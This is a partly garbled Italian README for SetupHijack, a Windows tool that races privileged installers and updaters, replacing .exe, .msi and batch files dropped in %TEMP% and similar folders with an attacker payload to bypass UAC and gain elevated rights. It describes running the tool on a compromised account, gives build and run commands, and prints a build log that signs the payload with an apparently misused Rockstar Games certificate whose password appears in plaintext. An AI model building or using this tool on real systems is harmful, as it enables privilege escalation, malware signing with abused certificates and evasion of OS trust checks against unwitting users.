
SetupHijack è uno strumento di ricerca sulla sicurezza che sfrutta le race condition e la gestione insicura dei file nei processi di installazione e aggiornamento delle applicazioni Windows.
SetupHijack è uno strumento di ricerca sulla sicurezza che sfrutta le race condition e la gestione non sicura dei file nei processi di installazione e aggiornamento di Windows. Prende di mira scenari in cui programmi di installazione o aggiornamento privilegiati rilasciano file in %TEMP% o in altre posizioni scrivibili da tutti, consentendo a un attaccante di sostituire questi file prima che vengano eseguiti con privilegi elevati.
.exe, .msi e file batch (ad es., sysinfo, netstat, ipconfig).L'uso previsto di questo strumento è quello di essere eseguito in background su un account utente compromesso con privilegi, al fine di elevare un altro processo dirottando i file rilasciati da programmi di installazione/aggiornamento.
Il grafico seguente mostra esempi reali di casi d'uso di questo exploit in diversi scenari che possono essere utilizzati per il bypass di UAC. I bypass di UAC sono considerati un confine di sicurezza quando si opera senza privilegi amministrativi (Adminless) e rappresentano un comune "requisito dell'attaccante" per disabilitare i controlli di sicurezza. Lo sfruttamento delle operazioni privilegiate dell'amministratore fornisce un accesso generico all'exploit per consentire al codice dannoso di eseguire il side-load o aumentare i privilegi del processo. Questo strumento può essere utilizzato per identificare applicazioni aggiuntive esposte agli stessi tipi di rischio; un attaccante può attendere l'esecuzione di questi processi come mezzo per ottenere diritti elevati senza interrompere i comportamenti dell'utente.

%TEMP% (e delle sottodirectory) per rilevare file di installazione nuovi o modificati..bak.Questo progetto utilizza un processo di firma del codice modificato con SignToolEx.exe e SignToolExHook.dll per firmare payload e programmi di installazione. L'uso di certificati di firma del codice validi e di un timestamp Authenticode aumenterà il tasso di successo quando si bypassano i controlli di fiducia del programma di installazione e del sistema operativo.
nmake PAYLOAD=c:\Path\to\your\payload.exe
### Esecuzione (Opzioni)```sh
SetupHijack.exe # Scan %TEMP%, %APPDATA%, and %USERPROFILE%\Downloads (default)
SetupHijack.exe -notemp # Disable scanning %TEMP%
SetupHijack.exe -noappdata # Disable scanning %APPDATA%
SetupHijack.exe -nodownloads # Disable scanning %USERPROFILE%\Downloads
SetupHijack.exe clean # Clean mode (restores .bak backups in all enabled locations)
SetupHijack.exe verbose # Verbose mode (log all actions)
SetupHijack.exe <payload.exe> # Use specified payload for .exe (unless argument is a recognized option)
-notemp, -noappdata o -nodownloads.clean ripristina i backup in tutte le posizioni abilitate. Il flag verbose registra tutte le azioni.shadow.exe o strumenti simili su Servizi terminal.
%TEMP% e li esegue con privilegi elevati, il tuo payload verrà sostituito ed eseguito.Di seguito un esempio reale di creazione ed esecuzione di SetupHijack, inclusi firma del codice e output dell'infezione:``` C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>nmake PAYLOAD="C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe"
Microsoft (R) Program Maintenance Utility Version 14.29.30159.0 Copyright (C) Microsoft Corporation. All rights reserved.
powershell -Command "(Get-Content SetupHijack.cpp) -replace '#define PAYLOAD_PATH L\".*\"', '#define PAYLOAD_PATH L\"%ESCAPED_PAYLOAD%\"' | Set-Content SetupHijack.cpp"
cl /nologo /W4 /EHsc /DUNICODE /D_UNICODE /MT /O2 /c SetupHijack.cpp
SetupHijack.cpp
SetupHijack.cpp(318): warning C4189: 'hr2': local variable is initialized but not referenced
taskkill /f /im SetupHijack.exe 2>nul
powershell -Command "Start-Sleep -Milliseconds 500"
link /nologo /SUBSYSTEM:CONSOLE /ENTRY:wmainCRTStartup /NODEFAULTLIB:MSVCRT /NODEFAULTLIB:MSVCPRT /OUT:SetupHijack.exe SetupHijack.obj kernel32.lib user32.lib shlwapi.lib Shell32.lib /MANIFEST /MANIFESTFILE:SetupHijack.exe.manifest
copy /y install.wxs.template install.wxs
1 file(s) copied.
powershell -Command "(Get-Content install.wxs) -replace 'Source="PAYLOAD_PLACEHOLDER"', 'Source="%ESCAPED_PAYLOAD%"' | Set-Content install.wxs"
wix build install.wxs -o install.msi
Generating install.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
Generating launch_payload.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
powershell -Command "(Get-Content install.wxs) -replace '(<File Id="RengeExeFile" Source=").*?(" KeyPath="yes"/>)', '%ESCAPED_PAYLOAD%' | Set-Content install.wxs"
call sign_random.bat
Using CERT: [certs\rockstar1.pfx]
Using PASS: [C!EZxYUxVGPzQDj3]
The following certificate was selected:
Issued to: Rockstar Games, Inc.
Issued by: Entrust Code Signing CA - OVCS1
Expires: Thu Mar 20 17:16:13 3000
SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: SetupHijack.exe
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0 The following certificate was selected: Issued to: Rockstar Games, Inc. Issued by: Entrust Code Signing CA - OVCS1 Expires: Thu Mar 20 17:16:13 3000 SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: install.msi
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0